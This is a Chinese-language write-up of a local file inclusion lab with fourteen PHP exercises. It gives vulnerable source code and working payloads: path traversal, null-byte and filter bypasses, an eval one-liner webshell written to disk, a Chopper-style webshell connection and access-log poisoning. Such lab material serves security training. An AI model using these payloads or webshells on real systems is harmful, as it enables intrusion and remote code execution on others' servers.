# 文件包含漏洞

# LFI-1

查看后台源码

<?php     include("../common/header.php");   ?>

<!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course -->
<?php hint("will include the arg specified in the GET parameter \"page\""); ?>

<form action="/LFI-1/index.php" method="GET">
<input type="text" name="page">
</form>

<?php
include($_GET["page"]);
?>

请求 form 表单, GET 方式,请求 index.php 时,会调用 php 的 include($_GET["page"].".html");

http://www.lfi.com/LFI-1/?page=../phpinfo.php

image-20221019234908422

# LFI-2

参数是 library

由于 Hint 是 %00 截断,那么我们尝试:

http://www.lfi.com/LFI-2/?library=../../../boot.ini%00

image-20221020000125556

http://www.lfi.com/LFI-2/?library=../../../phpinfo.php%00

image-20221020000057865

那么我们可以任意文件包含,去包含 webshell.php

http://www.lfi.com/LFI-2/?library=../../../webshell.php%00

使用菜刀连接:

image-20221020000532196

从这题可以看到,文件包含本质是利用文件包含 includerequire 等漏洞来进行文件上传文件访问

# LFI-3

查看 Hint

image-20221020000927815

查看后台源码:

<?php
echo $_GET['file'];
if (substr($_GET['file'], -4, 4) != '.php')//从结尾倒数第四个开始,取4个长度
echo file_get_contents($_GET['file']);
else
echo 'You are not allowed to see source files!'."\n";
?>

代码核心逻辑讲了:

GET 获取到的 file 参数内容里截取倒数第 4 个开始,取 4 个长度的子字符串

将此字符串和 .php (4 个字符) 进行比较 ——

  • 如果相等则显示 “You are not allowed to see source files!”
  • 否则调用 file_get_contents 显示文件内容,或者如果是 php 的话前台浏览器会解析 php 代码

那么,利用点就是 过掉这个if条件判断

首先,我们先确定相对路径:

http://www.lfi.com/LFI-3/index.php?file=../../../../boot.ini

image-20221020001601472

然后将 boot.ini 替换成 phpinfo.php ,注意加 /.

http://www.lfi.com/LFI-3/index.php?file=../../../../phpinfo.php/.

查看页面源代码,成功解析 php 代码:

image-20221020002018746

理论上,可以用任何多余特殊字符绕过:

http://www.lfi.com/LFI-3/index.php?file=../../../../phpinfo.php.
http://www.lfi.com/LFI-3/index.php?file=../../../../phpinfo.php+
......

均成功解析 php

# LFI-4

直接查看源码:

<?php
$path = 'includes/class_'.addslashes($_GET['class']).'.php';
echo file_get_contents($path);
?>

核心逻辑

拼接 includes/class_ + 经过addslashes处理的GET请求参数class + .php

然后使用 file_get_contents 函数回显这个拼接路径文件

注意addslashes 可以对 双引号单引号反斜杠NULL 前面加一个 反斜杠 进行转义

那么由于后面已经有 .php ,所以我们只需要构造 phpinfo ,并尝试相对路径:

http://www.lfi.com/LFI-4/?class=../../../../../phpinfo

成功解析到 php 代码

image-20221020003703322

# LFI-5

<?php
$file = str_replace('../', '', $_GET['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>

可以看到,此题将 ../ 过滤成 ,一般过滤成空的,我们可以通过双写来绕过。

那么有

http://www.lfi.com/LFI-5/?file=..././..././..././phpinfo.php

成功显示 phpinfo 界面

image-20221020004759481

# LFI-6

<?php
include($_POST["page"]);
?>

核心逻辑:

使用 POST 来传递参数,和 LFI-1 差不多。

image-20221020005136900

那么可以构造:

page=../../phpinfo.php

image-20221020005213444

如何在服务器上写入一句话木马文件呢?

<?php 
fputs(fopen('myshell.php','w'),'<?php @eval($_POST[JACK]);?>');
?>

image-20221020010044983

后续使用菜刀连接即可。

# LFI-7

library=../../../boot.ini%00

image-20221020010438974

构造:

library=../../../phpinfo.php%00

image-20221020010511820

# LFI-8

file=../../../../phpinfo.php/.

image-20221020010823561

# LFI-9

class=../../../../../phpinfo

image-20221020010958041

# LFI-10

file=..././..././..././phpinfo.php

image-20221020011102011

# LFI-11

这题使用了隐藏字段进行传递参数

image-20221020011255262

那么可以有:

stylepath=../../../../phpinfo.php

image-20221020011208724

# LFI-12

还是使用隐藏字段传递,只不过变成了 GET

http://www.lfi.com/LFI-12/?stylepath=../../../../phpinfo.php

image-20221020011415134

# LFI-13

依旧是双写:

http://www.lfi.com/LFI-13/?file=..././..././..././phpinfo.php

image-20221020011537265

# LFI-14

变成了 POST 型,使用双写绕过:

file=..././..././..././phpinfo.php

image-20221020011651144

# 包含日志文件获取 webshell

image-20221020011757179

我们通过 httpd-vhosts.conf 可以知道:

image-20221020012214942

我们的网页日志存储在 logs/dummy-host2.asdf-access.log

那么我们通过文件包含去请求一句话木马,看是否会留下痕迹?

http://www.lfi.com/LFI-1/?page=<?php phpinfo();?>

那我们构造:

http://www.lfi.com/LFI-1/?page=<?php @eval($_POST[jack]);?>

接着查看:

http://www.lfi.com/LFI-1/?page=../../../Apache/logs/dummy-host2.asdf-access.log

image-20221020013521115

发现 尖括号空格 会被 URL 编码,这时候我们使用 BP 抓包修改

image-20221020013627512

image-20221020014143191